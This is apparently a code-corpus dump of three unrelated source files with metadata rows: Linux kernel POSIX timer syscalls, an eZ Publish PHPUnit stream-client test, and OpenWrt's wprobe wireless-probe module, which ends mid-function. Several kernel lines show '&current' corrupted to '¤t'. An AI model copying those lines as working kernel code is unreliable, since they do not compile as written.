* This function gets called when a POSIX.1b interval timer expires. It
* is used as a callback from the kernel internal timer. The
* run_timer_list code ALWAYS calls with interrupts on.
* This code is for CLOCK_REALTIME* and CLOCK_MONOTONIC* timers.
*/
static enum hrtimer_restart posix_timer_fn(struct hrtimer *timer)
{
struct k_itimer *timr;
unsigned long flags;
int si_private = 0;
enum hrtimer_restart ret = HRTIMER_NORESTART;
timr = container_of(timer, struct k_itimer, it.real.timer);
spin_lock_irqsave(&timr->it_lock, flags);
if (timr->it.real.interval.tv64 != 0)
si_private = ++timr->it_requeue_pending;
if (posix_timer_event(timr, si_private)) {
/*
* signal was not sent because of sig_ignor
* we will not get a call back to restart it AND
* it should be restarted.
*/
if (timr->it.real.interval.tv64 != 0) {
ktime_t now = hrtimer_cb_get_time(timer);
/*
* FIXME: What we really want, is to stop this
* timer completely and restart it in case the
* SIG_IGN is removed. This is a non trivial
* change which involves sighand locking
* (sigh !), which we don't want to do late in
* the release cycle.
*
* For now we just let timers with an interval
* less than a jiffie expire every jiffie to
* avoid softirq starvation in case of SIG_IGN
* and a very small interval, which would put
* the timer right back on the softirq pending
* list. By moving now ahead of time we trick
* hrtimer_forward() to expire the timer
* later, while we still maintain the overrun
* accuracy, but have some inconsistency in
* the timer_gettime() case. This is at least
* better than a starved softirq. A more
* complex fix which solves also another related
* inconsistency is already in the pipeline.
*/
#ifdef CONFIG_HIGH_RES_TIMERS
{
ktime_t kj = ktime_set(0, NSEC_PER_SEC / HZ);
if (timr->it.real.interval.tv64 < kj.tv64)
now = ktime_add(now, kj);
}
#endif
timr->it_overrun += (unsigned int)
hrtimer_forward(timer, now,
timr->it.real.interval);
ret = HRTIMER_RESTART;
++timr->it_requeue_pending;
}
}
unlock_timer(timr, flags);
return ret;
}
static struct task_struct * good_sigevent(sigevent_t * event)
{
struct task_struct *rtn = current->group_leader;
if ((event->sigev_notify & SIGEV_THREAD_ID ) &&
(!(rtn = find_task_by_vpid(event->sigev_notify_thread_id)) ||
!same_thread_group(rtn, current) ||
(event->sigev_notify & ~SIGEV_THREAD_ID) != SIGEV_SIGNAL))
return NULL;
if (((event->sigev_notify & ~SIGEV_THREAD_ID) != SIGEV_NONE) &&
((event->sigev_signo <= 0) || (event->sigev_signo > SIGRTMAX)))
return NULL;
return rtn;
}
void register_posix_clock(const clockid_t clock_id, struct k_clock *new_clock)
{
if ((unsigned) clock_id >= MAX_CLOCKS) {
printk("POSIX clock register failed for clock_id %d\n",
clock_id);
return;
}
posix_clocks[clock_id] = *new_clock;
}
EXPORT_SYMBOL_GPL(register_posix_clock);
static struct k_itimer * alloc_posix_timer(void)
{
struct k_itimer *tmr;
tmr = kmem_cache_zalloc(posix_timers_cache, GFP_KERNEL);
if (!tmr)
return tmr;
if (unlikely(!(tmr->sigq = sigqueue_alloc()))) {
kmem_cache_free(posix_timers_cache, tmr);
return NULL;
}
memset(&tmr->sigq->info, 0, sizeof(siginfo_t));
return tmr;
}
#define IT_ID_SET 1
#define IT_ID_NOT_SET 0
static void release_posix_timer(struct k_itimer *tmr, int it_id_set)
{
if (it_id_set) {
unsigned long flags;
spin_lock_irqsave(&idr_lock, flags);
idr_remove(&posix_timers_id, tmr->it_id);
spin_unlock_irqrestore(&idr_lock, flags);
}
sigqueue_free(tmr->sigq);
kmem_cache_free(posix_timers_cache, tmr);
}
/* Create a POSIX.1b interval timer. */
asmlinkage long
sys_timer_create(const clockid_t which_clock,
struct sigevent __user *timer_event_spec,
timer_t __user * created_timer_id)
{
struct k_itimer *new_timer;
int error, new_timer_id;
struct task_struct *process;
sigevent_t event;
int it_id_set = IT_ID_NOT_SET;
if (invalid_clockid(which_clock))
return -EINVAL;
new_timer = alloc_posix_timer();
if (unlikely(!new_timer))
return -EAGAIN;
spin_lock_init(&new_timer->it_lock);
retry:
if (unlikely(!idr_pre_get(&posix_timers_id, GFP_KERNEL))) {
error = -EAGAIN;
goto out;
}
spin_lock_irq(&idr_lock);
error = idr_get_new(&posix_timers_id, new_timer, &new_timer_id);
spin_unlock_irq(&idr_lock);
if (error) {
if (error == -EAGAIN)
goto retry;
/*
* Weird looking, but we return EAGAIN if the IDR is
* full (proper POSIX return value for this)
*/
error = -EAGAIN;
goto out;
}
it_id_set = IT_ID_SET;
new_timer->it_id = (timer_t) new_timer_id;
new_timer->it_clock = which_clock;
new_timer->it_overrun = -1;
error = CLOCK_DISPATCH(which_clock, timer_create, (new_timer));
if (error)
goto out;
/*
* return the timer_id now. The next step is hard to
* back out if there is an error.
*/
if (copy_to_user(created_timer_id,
&new_timer_id, sizeof (new_timer_id))) {
error = -EFAULT;
goto out;
}
if (timer_event_spec) {
if (copy_from_user(&event, timer_event_spec, sizeof (event))) {
error = -EFAULT;
goto out;
}
rcu_read_lock();
process = good_sigevent(&event);
if (process)
get_task_struct(process);
rcu_read_unlock();
if (!process) {
error = -EINVAL;
goto out;
}
} else {
event.sigev_notify = SIGEV_SIGNAL;
event.sigev_signo = SIGALRM;
event.sigev_value.sival_int = new_timer->it_id;
process = current->group_leader;
get_task_struct(process);
}
new_timer->it_sigev_notify = event.sigev_notify;
new_timer->sigq->info.si_signo = event.sigev_signo;
new_timer->sigq->info.si_value = event.sigev_value;
new_timer->sigq->info.si_tid = new_timer->it_id;
new_timer->sigq->info.si_code = SI_TIMER;
spin_lock_irq(¤t->sighand->siglock);
new_timer->it_process = process;
list_add(&new_timer->list, ¤t->signal->posix_timers);
spin_unlock_irq(¤t->sighand->siglock);
return 0;
/*
* In the case of the timer belonging to another task, after
* the task is unlocked, the timer is owned by the other task
* and may cease to exist at any time. Don't use or modify
* new_timer after the unlock call.
*/
out:
release_posix_timer(new_timer, it_id_set);
return error;
}
/*
* Locking issues: We need to protect the result of the id look up until
* we get the timer locked down so it is not deleted under us. The
* removal is done under the idr spinlock so we use that here to bridge
* the find to the timer lock. To avoid a dead lock, the timer id MUST
* be release with out holding the timer lock.
*/
static struct k_itimer *lock_timer(timer_t timer_id, unsigned long *flags)
{
struct k_itimer *timr;
/*
* Watch out here. We do a irqsave on the idr_lock and pass the
* flags part over to the timer lock. Must not let interrupts in
* while we are moving the lock.
*/
spin_lock_irqsave(&idr_lock, *flags);
timr = idr_find(&posix_timers_id, (int)timer_id);
if (timr) {
spin_lock(&timr->it_lock);
if (timr->it_process &&
same_thread_group(timr->it_process, current)) {
spin_unlock(&idr_lock);
return timr;
}
spin_unlock(&timr->it_lock);
}
spin_unlock_irqrestore(&idr_lock, *flags);
return NULL;
}
/*
* Get the time remaining on a POSIX.1b interval timer. This function
* is ALWAYS called with spin_lock_irq on the timer, thus it must not
* mess with irq.
*
* We have a couple of messes to clean up here. First there is the case
* of a timer that has a requeue pending. These timers should appear to
* be in the timer list with an expiry as if we were to requeue them
* now.
*
* The second issue is the SIGEV_NONE timer which may be active but is
* not really ever put in the timer list (to save system resources).
* This timer may be expired, and if so, we will do it here. Otherwise
* it is the same as a requeue pending timer WRT to what we should
* report.
*/
static void
common_timer_get(struct k_itimer *timr, struct itimerspec *cur_setting)
{
ktime_t now, remaining, iv;
struct hrtimer *timer = &timr->it.real.timer;
memset(cur_setting, 0, sizeof(struct itimerspec));
iv = timr->it.real.interval;
/* interval timer ? */
if (iv.tv64)
cur_setting->it_interval = ktime_to_timespec(iv);
else if (!hrtimer_active(timer) &&
(timr->it_sigev_notify & ~SIGEV_THREAD_ID) != SIGEV_NONE)
return;
now = timer->base->get_time();
/*
* When a requeue is pending or this is a SIGEV_NONE
* timer move the expiry time forward by intervals, so
* expiry is > now.
*/
if (iv.tv64 && (timr->it_requeue_pending & REQUEUE_PENDING ||
(timr->it_sigev_notify & ~SIGEV_THREAD_ID) == SIGEV_NONE))
timr->it_overrun += (unsigned int) hrtimer_forward(timer, now, iv);
remaining = ktime_sub(hrtimer_get_expires(timer), now);
/* Return 0 only, when the timer is expired and not pending */
if (remaining.tv64 <= 0) {
/*
* A single shot SIGEV_NONE timer must return 0, when
* it is expired !
*/
if ((timr->it_sigev_notify & ~SIGEV_THREAD_ID) != SIGEV_NONE)
cur_setting->it_value.tv_nsec = 1;
} else
cur_setting->it_value = ktime_to_timespec(remaining);
}
/* Get the time remaining on a POSIX.1b interval timer. */
asmlinkage long
sys_timer_gettime(timer_t timer_id, struct itimerspec __user *setting)
{
struct k_itimer *timr;
struct itimerspec cur_setting;
unsigned long flags;
timr = lock_timer(timer_id, &flags);
if (!timr)
return -EINVAL;
CLOCK_DISPATCH(timr->it_clock, timer_get, (timr, &cur_setting));
unlock_timer(timr, flags);
if (copy_to_user(setting, &cur_setting, sizeof (cur_setting)))
return -EFAULT;
return 0;
}
/*
* Get the number of overruns of a POSIX.1b interval timer. This is to
* be the overrun of the timer last delivered. At the same time we are
* accumulating overruns on the next timer. The overrun is frozen when
* the signal is delivered, either at the notify time (if the info block
* is not queued) or at the actual delivery time (as we are informed by
* the call back to do_schedule_next_timer(). So all we need to do is
* to pick up the frozen overrun.
*/
asmlinkage long
sys_timer_getoverrun(timer_t timer_id)
{
struct k_itimer *timr;
int overrun;
unsigned long flags;
timr = lock_timer(timer_id, &flags);
if (!timr)
return -EINVAL;
overrun = timr->it_overrun_last;
unlock_timer(timr, flags);
return overrun;
}
/* Set a POSIX.1b interval timer. */
/* timr->it_lock is taken. */
static int
common_timer_set(struct k_itimer *timr, int flags,
struct itimerspec *new_setting, struct itimerspec *old_setting)
{
struct hrtimer *timer = &timr->it.real.timer;
enum hrtimer_mode mode;
if (old_setting)
common_timer_get(timr, old_setting);
/* disable the timer */
timr->it.real.interval.tv64 = 0;
/*
* careful here. If smp we could be in the "fire" routine which will
* be spinning as we hold the lock. But this is ONLY an SMP issue.
*/
if (hrtimer_try_to_cancel(timer) < 0)
return TIMER_RETRY;
timr->it_requeue_pending = (timr->it_requeue_pending + 2) &
~REQUEUE_PENDING;
timr->it_overrun_last = 0;
/* switch off the timer when it_value is zero */
if (!new_setting->it_value.tv_sec && !new_setting->it_value.tv_nsec)
return 0;
mode = flags & TIMER_ABSTIME ? HRTIMER_MODE_ABS : HRTIMER_MODE_REL;
hrtimer_init(&timr->it.real.timer, timr->it_clock, mode);
timr->it.real.timer.function = posix_timer_fn;
hrtimer_set_expires(timer, timespec_to_ktime(new_setting->it_value));
/* Convert interval */
timr->it.real.interval = timespec_to_ktime(new_setting->it_interval);
/* SIGEV_NONE timers are not queued ! See common_timer_get */
if (((timr->it_sigev_notify & ~SIGEV_THREAD_ID) == SIGEV_NONE)) {
/* Setup correct expiry time for relative timers */
if (mode == HRTIMER_MODE_REL) {
hrtimer_add_expires(timer, timer->base->get_time());
}
return 0;
}
hrtimer_start_expires(timer, mode);
return 0;
}
/* Set a POSIX.1b interval timer */
asmlinkage long
sys_timer_settime(timer_t timer_id, int flags,
const struct itimerspec __user *new_setting,
struct itimerspec __user *old_setting)
{
struct k_itimer *timr;
struct itimerspec new_spec, old_spec;
int error = 0;
unsigned long flag;
struct itimerspec *rtn = old_setting ? &old_spec : NULL;
if (!new_setting)
return -EINVAL;
if (copy_from_user(&new_spec, new_setting, sizeof (new_spec)))
return -EFAULT;
if (!timespec_valid(&new_spec.it_interval) ||
!timespec_valid(&new_spec.it_value))
return -EINVAL;
retry:
timr = lock_timer(timer_id, &flag);
if (!timr)
return -EINVAL;
error = CLOCK_DISPATCH(timr->it_clock, timer_set,
(timr, flags, &new_spec, rtn));
unlock_timer(timr, flag);
if (error == TIMER_RETRY) {
rtn = NULL; // We already got the old time...
goto retry;
}
if (old_setting && !error &&
copy_to_user(old_setting, &old_spec, sizeof (old_spec)))
error = -EFAULT;
return error;
}
static inline int common_timer_del(struct k_itimer *timer)
{
timer->it.real.interval.tv64 = 0;
if (hrtimer_try_to_cancel(&timer->it.real.timer) < 0)
return TIMER_RETRY;
return 0;
}
static inline int timer_delete_hook(struct k_itimer *timer)
{
return CLOCK_DISPATCH(timer->it_clock, timer_del, (timer));
}
/* Delete a POSIX.1b interval timer. */
asmlinkage long
sys_timer_delete(timer_t timer_id)
{
struct k_itimer *timer;
unsigned long flags;
retry_delete:
timer = lock_timer(timer_id, &flags);
if (!timer)
return -EINVAL;
if (timer_delete_hook(timer) == TIMER_RETRY) {
unlock_timer(timer, flags);
goto retry_delete;
}
spin_lock(¤t->sighand->siglock);
list_del(&timer->list);
spin_unlock(¤t->sighand->siglock);
/*
* This keeps any tasks waiting on the spin lock from thinking
* they got something (see the lock code above).
*/
put_task_struct(timer->it_process);
timer->it_process = NULL;
unlock_timer(timer, flags);
release_posix_timer(timer, IT_ID_SET);
return 0;
}
/*
* return timer owned by the process, used by exit_itimers
*/
static void itimer_delete(struct k_itimer *timer)
{
unsigned long flags;
retry_delete:
spin_lock_irqsave(&timer->it_lock, flags);
if (timer_delete_hook(timer) == TIMER_RETRY) {
unlock_timer(timer, flags);
goto retry_delete;
}
list_del(&timer->list);
/*
* This keeps any tasks waiting on the spin lock from thinking
* they got something (see the lock code above).
*/
put_task_struct(timer->it_process);
timer->it_process = NULL;
unlock_timer(timer, flags);
release_posix_timer(timer, IT_ID_SET);
}
/*
* This is called by do_exit or de_thread, only when there are no more
* references to the shared signal_struct.
*/
void exit_itimers(struct signal_struct *sig)
{
struct k_itimer *tmr;
while (!list_empty(&sig->posix_timers)) {
tmr = list_entry(sig->posix_timers.next, struct k_itimer, list);
itimer_delete(tmr);
}
}
/* Not available / possible... functions */
int do_posix_clock_nosettime(const clockid_t clockid, struct timespec *tp)
{
return -EINVAL;
}
EXPORT_SYMBOL_GPL(do_posix_clock_nosettime);
int do_posix_clock_nonanosleep(const clockid_t clock, int flags,
struct timespec *t, struct timespec __user *r)
{
#ifndef ENOTSUP
return -EOPNOTSUPP; /* aka ENOTSUP in userland for POSIX */
#else /* parisc does define it separately. */
return -ENOTSUP;
#endif
}
EXPORT_SYMBOL_GPL(do_posix_clock_nonanosleep);
asmlinkage long sys_clock_settime(const clockid_t which_clock,
const struct timespec __user *tp)
{
struct timespec new_tp;
if (invalid_clockid(which_clock))
return -EINVAL;
if (copy_from_user(&new_tp, tp, sizeof (*tp)))
return -EFAULT;
return CLOCK_DISPATCH(which_clock, clock_set, (which_clock, &new_tp));
}
asmlinkage long
sys_clock_gettime(const clockid_t which_clock, struct timespec __user *tp)
{
struct timespec kernel_tp;
int error;
if (invalid_clockid(which_clock))
return -EINVAL;
error = CLOCK_DISPATCH(which_clock, clock_get,
(which_clock, &kernel_tp));
if (!error && copy_to_user(tp, &kernel_tp, sizeof (kernel_tp)))
error = -EFAULT;
return error;
}
asmlinkage long
sys_clock_getres(const clockid_t which_clock, struct timespec __user *tp)
{
struct timespec rtn_tp;
int error;
if (invalid_clockid(which_clock))
return -EINVAL;
error = CLOCK_DISPATCH(which_clock, clock_getres,
(which_clock, &rtn_tp));
if (!error && tp && copy_to_user(tp, &rtn_tp, sizeof (rtn_tp))) {
error = -EFAULT;
}
return error;
}
/*
* nanosleep for monotonic and realtime clocks
*/
static int common_nsleep(const clockid_t which_clock, int flags,
struct timespec *tsave, struct timespec __user *rmtp)
{
return hrtimer_nanosleep(tsave, rmtp, flags & TIMER_ABSTIME ?
HRTIMER_MODE_ABS : HRTIMER_MODE_REL,
which_clock);
}
asmlinkage long
sys_clock_nanosleep(const clockid_t which_clock, int flags,
const struct timespec __user *rqtp,
struct timespec __user *rmtp)
{
struct timespec t;
if (invalid_clockid(which_clock))
return -EINVAL;
if (copy_from_user(&t, rqtp, sizeof (struct timespec)))
return -EFAULT;
if (!timespec_valid(&t))
return -EINVAL;
return CLOCK_DISPATCH(which_clock, nsleep,
(which_clock, flags, &t, rmtp));
}
/*
* nanosleep_restart for monotonic and realtime clocks
*/
static int common_nsleep_restart(struct restart_block *restart_block)
{
return hrtimer_nanosleep_restart(restart_block);
}
/*
* This will restart clock_nanosleep. This is required only by
* compat_clock_nanosleep_restart for now.
*/
long
clock_nanosleep_restart(struct restart_block *restart_block)
{
clockid_t which_clock = restart_block->arg0;
return CLOCK_DISPATCH(which_clock, nsleep_restart,
(restart_block));
}
| clearwater/chumby-linux | kernel/posix-timers.c | C | gpl-2.0 | 28,808 |
<?php
/**
* File containing the StreamTest class.
*
* @copyright Copyright (C) eZ Systems AS. All rights reserved.
* @license For full copyright and license information view LICENSE file distributed with this source code.
*
* @version //autogentag//
*/
namespace eZ\Publish\Core\REST\Client\Tests\HttpClient;
use eZ\Publish\Core\REST\Client\HttpClient\Stream;
use eZ\Publish\Core\REST\Client\HttpClient\ConnectionException;
use PHPUnit_Framework_TestCase;
/**
* Test case for stream HTTP client.
*/
class StreamTest extends PHPUnit_Framework_TestCase
{
/**
* @var \eZ\Publish\Core\REST\Client\HttpClient\Stream
*/
protected $client;
/**
* Sets up the testing environment.
*/
public function setUp()
{
$this->client = new Stream('http://localhost:8042');
try {
$this->client->request('GET', '/');
} catch (ConnectionException $e) {
$this->markTestSkipped('No HTTP server at http://localhost:8042 found.');
}
}
/**
* Tests the response status.
*/
public function testResponseStatus()
{
$response = $this->client->request('GET', '/');
$this->assertSame(500, $response->headers['status']);
}
/**
* Tests that the response body is not empty.
*/
public function testResponseNonEmptyBody()
{
$response = $this->client->request('GET', '/');
$this->assertFalse(empty($response->body));
}
/**
* Tests presence of response headers.
*/
public function testResponseHeadersArray()
{
$response = $this->client->request('GET', '/');
$this->assertTrue(is_array($response->headers));
}
/**
* Test presence of X-Powered-By header.
*/
public function testResponseXPoweredByHeader()
{
$response = $this->client->request('GET', '/');
$this->assertTrue(isset($response->headers['X-Powered-By']));
$this->assertTrue(is_string($response->headers['X-Powered-By']));
}
/**
* Tests that ConnectionException is thrown.
*
* @expectedException \eZ\Publish\Core\REST\Client\HttpClient\ConnectionException
*/
public function testConnectionException()
{
$client = new Stream('http://localhost:54321');
$client->request('GET', '/');
}
}
| flovntp/BikeTutorialWebsite | vendor/ezsystems/ezpublish-kernel/eZ/Publish/Core/REST/Client/Tests/HttpClient/StreamTest.php | PHP | gpl-2.0 | 2,354 |
/*
* wprobe-core.c: Wireless probe interface core
* Copyright (C) 2008-2009 Felix Fietkau <nbd@openwrt.org>
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#include <linux/kernel.h>
#include <linux/version.h>
#include <linux/module.h>
#include <linux/types.h>
#include <linux/spinlock.h>
#include <linux/rcupdate.h>
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,26)
#include <linux/rculist.h>
#else
#include <linux/list.h>
#endif
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,2,0)
#include <linux/prefetch.h>
#endif
#include <linux/skbuff.h>
#include <linux/wprobe.h>
#include <linux/math64.h>
#define static
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,28)
#define list_for_each_rcu(pos, head) \
for (pos = rcu_dereference((head)->next); \
prefetch(pos->next), pos != (head); \
pos = rcu_dereference(pos->next))
#endif
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,7,0)
#define SKB_PORTID(x) NETLINK_CB(x).portid
#else
#define SKB_PORTID(x) NETLINK_CB(x).pid
#endif
#define WPROBE_MIN_INTERVAL 100 /* minimum measurement interval in msecs */
#define WPROBE_MAX_FILTER_SIZE 1024
#define WPROBE_MAX_FRAME_SIZE 1900
static struct list_head wprobe_if;
static spinlock_t wprobe_lock;
static struct genl_family wprobe_fam = {
.id = GENL_ID_GENERATE,
.name = "wprobe",
.hdrsize = 0,
.version = 1,
/* only the first set of attributes is used for queries */
.maxattr = WPROBE_ATTR_LAST,
};
/* fake radiotap header */
struct wprobe_rtap_hdr {
__u8 version;
__u8 padding;
__le16 len;
__le32 present;
};
static void wprobe_update_stats(struct wprobe_iface *dev, struct wprobe_link *l);
static int wprobe_sync_data(struct wprobe_iface *dev, struct wprobe_link *l, bool query);
static void wprobe_free_filter(struct wprobe_filter *f);
int
wprobe_add_link(struct wprobe_iface *s, struct wprobe_link *l, const char *addr)
{
unsigned long flags;
INIT_LIST_HEAD(&l->list);
l->val = kzalloc(sizeof(struct wprobe_value) * s->n_link_items, GFP_ATOMIC);
if (!l->val)
return -ENOMEM;
l->iface = s;
memcpy(&l->addr, addr, ETH_ALEN);
spin_lock_irqsave(&wprobe_lock, flags);
list_add_tail_rcu(&l->list, &s->links);
spin_unlock_irqrestore(&wprobe_lock, flags);
return 0;
}
EXPORT_SYMBOL(wprobe_add_link);
void
wprobe_remove_link(struct wprobe_iface *s, struct wprobe_link *l)
{
unsigned long flags;
spin_lock_irqsave(&wprobe_lock, flags);
list_del_rcu(&l->list);
spin_unlock_irqrestore(&wprobe_lock, flags);
synchronize_rcu();
kfree(l->val);
}
EXPORT_SYMBOL(wprobe_remove_link);
static void
wprobe_measure_timer(unsigned long data)
{
struct wprobe_iface *dev = (struct wprobe_iface *) data;
/* set next measurement interval */
mod_timer(&dev->measure_timer, jiffies +
msecs_to_jiffies(dev->measure_interval));
/* perform measurement */
wprobe_sync_data(dev, NULL, false);
}
int
wprobe_add_iface(struct wprobe_iface *s)
{
unsigned long flags;
int vsize;
/* reset only wprobe private area */
memset(&s->list, 0, sizeof(struct wprobe_iface) - offsetof(struct wprobe_iface, list));
BUG_ON(!s->name);
INIT_LIST_HEAD(&s->list);
INIT_LIST_HEAD(&s->links);
setup_timer(&s->measure_timer, wprobe_measure_timer, (unsigned long) s);
s->val = kzalloc(sizeof(struct wprobe_value) * s->n_global_items, GFP_ATOMIC);
if (!s->val)
goto error;
vsize = max(s->n_link_items, s->n_global_items);
s->query_val = kzalloc(sizeof(struct wprobe_value) * vsize, GFP_ATOMIC);
if (!s->query_val)
goto error;
/* initialize defaults to be able to handle overflow,
* user space will need to handle this if it keeps an
* internal histogram */
s->scale_min = 20;
s->scale_max = (1 << 31);
s->scale_m = 1;
s->scale_d = 10;
spin_lock_irqsave(&wprobe_lock, flags);
list_add_rcu(&s->list, &wprobe_if);
spin_unlock_irqrestore(&wprobe_lock, flags);
return 0;
error:
if (s->val)
kfree(s->val);
return -ENOMEM;
}
EXPORT_SYMBOL(wprobe_add_iface);
void
wprobe_remove_iface(struct wprobe_iface *s)
{
unsigned long flags;
BUG_ON(!list_empty(&s->links));
del_timer_sync(&s->measure_timer);
spin_lock_irqsave(&wprobe_lock, flags);
list_del_rcu(&s->list);
spin_unlock_irqrestore(&wprobe_lock, flags);
/* wait for all queries to finish before freeing the
* temporary value storage buffer */
synchronize_rcu();
kfree(s->val);
kfree(s->query_val);
if (s->active_filter)
wprobe_free_filter(s->active_filter);
}
EXPORT_SYMBOL(wprobe_remove_iface);
static struct wprobe_iface *
wprobe_get_dev(struct nlattr *attr)
{
struct wprobe_iface *dev = NULL;
struct wprobe_iface *p;
const char *name;
int i = 0;
if (!attr)
return NULL;
name = nla_data(attr);
list_for_each_entry_rcu(p, &wprobe_if, list) {
i++;
if (strcmp(name, p->name) != 0)
continue;
dev = p;
break;
}
return dev;
}
int
wprobe_add_frame(struct wprobe_iface *dev, const struct wprobe_wlan_hdr *hdr, void *data, int len)
{
struct wprobe_wlan_hdr *new_hdr;
struct wprobe_filter *f;
struct sk_buff *skb;
unsigned long flags;
int i, j;
rcu_read_lock();
f = rcu_dereference(dev->active_filter);
if (!f)
goto out;
spin_lock_irqsave(&f->lock, flags);
skb = f->skb;
skb->len = sizeof(struct wprobe_rtap_hdr);
skb->tail = skb->data + skb->len;
if (len + skb->len > WPROBE_MAX_FRAME_SIZE)
len = WPROBE_MAX_FRAME_SIZE - skb->len;
new_hdr = (struct wprobe_wlan_hdr *) skb_put(skb, f->hdrlen);
memcpy(new_hdr, hdr, sizeof(struct wprobe_wlan_hdr));
new_hdr->len = cpu_to_be16(new_hdr->len);
memcpy(skb_put(skb, len), data, len);
for(i = 0; i < f->n_groups; i++) {
struct wprobe_filter_group *fg = &f->groups[i];
bool found = false;
int def = -1;
for (j = 0; j < fg->n_items; j++) {
struct wprobe_filter_item *fi = fg->items[j];
if (!fi->hdr.n_items) {
def = j;
continue;
}
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,38)
if (sk_run_filter(skb, fi->filter) == 0)
continue;
#else
if (sk_run_filter(skb, fi->filter, fi->hdr.n_items) == 0)
continue;
#endif
found = true;
break;
}
if (!found && def >= 0) {
j = def;
found = true;
}
if (found) {
struct wprobe_filter_counter *c = &fg->counters[j];
if (hdr->type >= WPROBE_PKT_TX)
c->tx++;
else
c->rx++;
}
}
spin_unlock_irqrestore(&f->lock, flags);
out:
rcu_read_unlock();
return 0;
}
EXPORT_SYMBOL(wprobe_add_frame);
static int
wprobe_sync_data(struct wprobe_iface *dev, struct wprobe_link *l, bool query)
{
struct wprobe_value *val;
unsigned long flags;
int n, err;
if (l) {
n = dev->n_link_items;
val = l->val;
} else {
n = dev->n_global_items;
val = dev->val;
}
spin_lock_irqsave(&dev->lock, flags);
err = dev->sync_data(dev, l, val, !query);
if (err)
goto done;
if (query)
memcpy(dev->query_val, val, sizeof(struct wprobe_value) * n);
wprobe_update_stats(dev, l);
done:
spin_unlock_irqrestore(&dev->lock, flags);
return 0;
}
EXPORT_SYMBOL(wprobe_sync_data);
static void
wprobe_scale_stats(struct wprobe_iface *dev, const struct wprobe_item *item,
struct wprobe_value *val, int n)
{
u64 scale_ts = jiffies_64;
int i;
for (i = 0; i < n; i++) {
if (!(item[i].flags & WPROBE_F_KEEPSTAT))
continue;
if (val[i].n <= dev->scale_min)
continue;
/* FIXME: div_s64 seems to be very imprecise here, even when
* the values are scaled up */
val[i].s *= dev->scale_m;
val[i].s = div_s64(val[i].s, dev->scale_d);
val[i].ss *= dev->scale_m;
val[i].ss = div_s64(val[i].ss, dev->scale_d);
val[i].n = (val[i].n * dev->scale_m) / dev->scale_d;
val[i].scale_timestamp = scale_ts;
}
}
void
wprobe_update_stats(struct wprobe_iface *dev, struct wprobe_link *l)
{
const struct wprobe_item *item;
struct wprobe_value *val;
bool scale_stats = false;
int i, n;
if (l) {
n = dev->n_link_items;
item = dev->link_items;
val = l->val;
} else {
n = dev->n_global_items;
item = dev->global_items;
val = dev->val;
}
/* process statistics */
for (i = 0; i < n; i++) {
s64 v;
if (!val[i].pending)
continue;
val[i].n++;
if ((item[i].flags & WPROBE_F_KEEPSTAT) &&
(dev->scale_max > 0) && (val[i].n > dev->scale_max)) {
scale_stats = true;
}
switch(item[i].type) {
case WPROBE_VAL_S8:
v = val[i].S8;
break;
case WPROBE_VAL_S16:
v = val[i].S16;
break;
case WPROBE_VAL_S32:
v = val[i].S32;
break;
case WPROBE_VAL_S64:
v = val[i].S64;
break;
case WPROBE_VAL_U8:
v = val[i].U8;
break;
case WPROBE_VAL_U16:
v = val[i].U16;
break;
case WPROBE_VAL_U32:
v = val[i].U32;
break;
case WPROBE_VAL_U64:
v = val[i].U64;
break;
default:
continue;
}
val[i].s += v;
val[i].ss += v * v;
val[i].pending = false;
}
if (scale_stats)
wprobe_scale_stats(dev, item, val, n);
}
EXPORT_SYMBOL(wprobe_update_stats);
static const struct nla_policy wprobe_policy[WPROBE_ATTR_LAST+1] = {
[WPROBE_ATTR_INTERFACE] = { .type = NLA_NUL_STRING },
[WPROBE_ATTR_MAC] = { .type = NLA_STRING },
[WPROBE_ATTR_FLAGS] = { .type = NLA_U32 },
/* config */
[WPROBE_ATTR_INTERVAL] = { .type = NLA_MSECS },
[WPROBE_ATTR_SAMPLES_MIN] = { .type = NLA_U32 },
[WPROBE_ATTR_SAMPLES_MAX] = { .type = NLA_U32 },
[WPROBE_ATTR_SAMPLES_SCALE_M] = { .type = NLA_U32 },
[WPROBE_ATTR_SAMPLES_SCALE_D] = { .type = NLA_U32 },
[WPROBE_ATTR_FILTER] = { .type = NLA_BINARY, .len = 32768 },
};
static bool
wprobe_check_ptr(struct list_head *list, struct list_head *ptr)
{
struct list_head *p;
list_for_each_rcu(p, list) {
if (ptr == p)
return true;
}
return false;
}
static bool
wprobe_send_item_value(struct sk_buff *msg, struct netlink_callback *cb,
struct wprobe_iface *dev, struct wprobe_link *l,
const struct wprobe_item *item,
int i, u32 flags)
{
struct genlmsghdr *hdr;
struct wprobe_value *val = dev->query_val;
u64 time = val[i].last - val[i].first;
hdr = genlmsg_put(msg, SKB_PORTID(cb->skb), cb->nlh->nlmsg_seq,
&wprobe_fam, NLM_F_MULTI, WPROBE_CMD_GET_INFO);
if (nla_put_u32(msg, WPROBE_ATTR_ID, i))
goto nla_put_failure;
if (nla_put_u32(msg, WPROBE_ATTR_FLAGS, flags))
goto nla_put_failure;
if (nla_put_u8(msg, WPROBE_ATTR_TYPE, item[i].type))
goto nla_put_failure;
if (nla_put_u64(msg, WPROBE_ATTR_DURATION, time))
goto nla_put_failure;
switch(item[i].type) {
case WPROBE_VAL_S8:
case WPROBE_VAL_U8:
if (nla_put_u8(msg, item[i].type, val[i].U8))
goto nla_put_failure;
break;
case WPROBE_VAL_S16:
case WPROBE_VAL_U16:
if (nla_put_u16(msg, item[i].type, val[i].U16))
goto nla_put_failure;
break;
case WPROBE_VAL_S32:
case WPROBE_VAL_U32:
if (nla_put_u32(msg, item[i].type, val[i].U32))
goto nla_put_failure;
break;
case WPROBE_VAL_S64:
case WPROBE_VAL_U64:
if (nla_put_u64(msg, item[i].type, val[i].U64))
goto nla_put_failure;
break;
case WPROBE_VAL_STRING:
if (val[i].STRING) {
if (nla_put_string(msg, item[i].type, val[i].STRING))
goto nla_put_failure;
} else {
if (nla_put_string(msg, item[i].type, ""))
goto nla_put_failure;
}
/* bypass avg/stdev */
goto done;
default:
/* skip unknown values */
goto done;
}
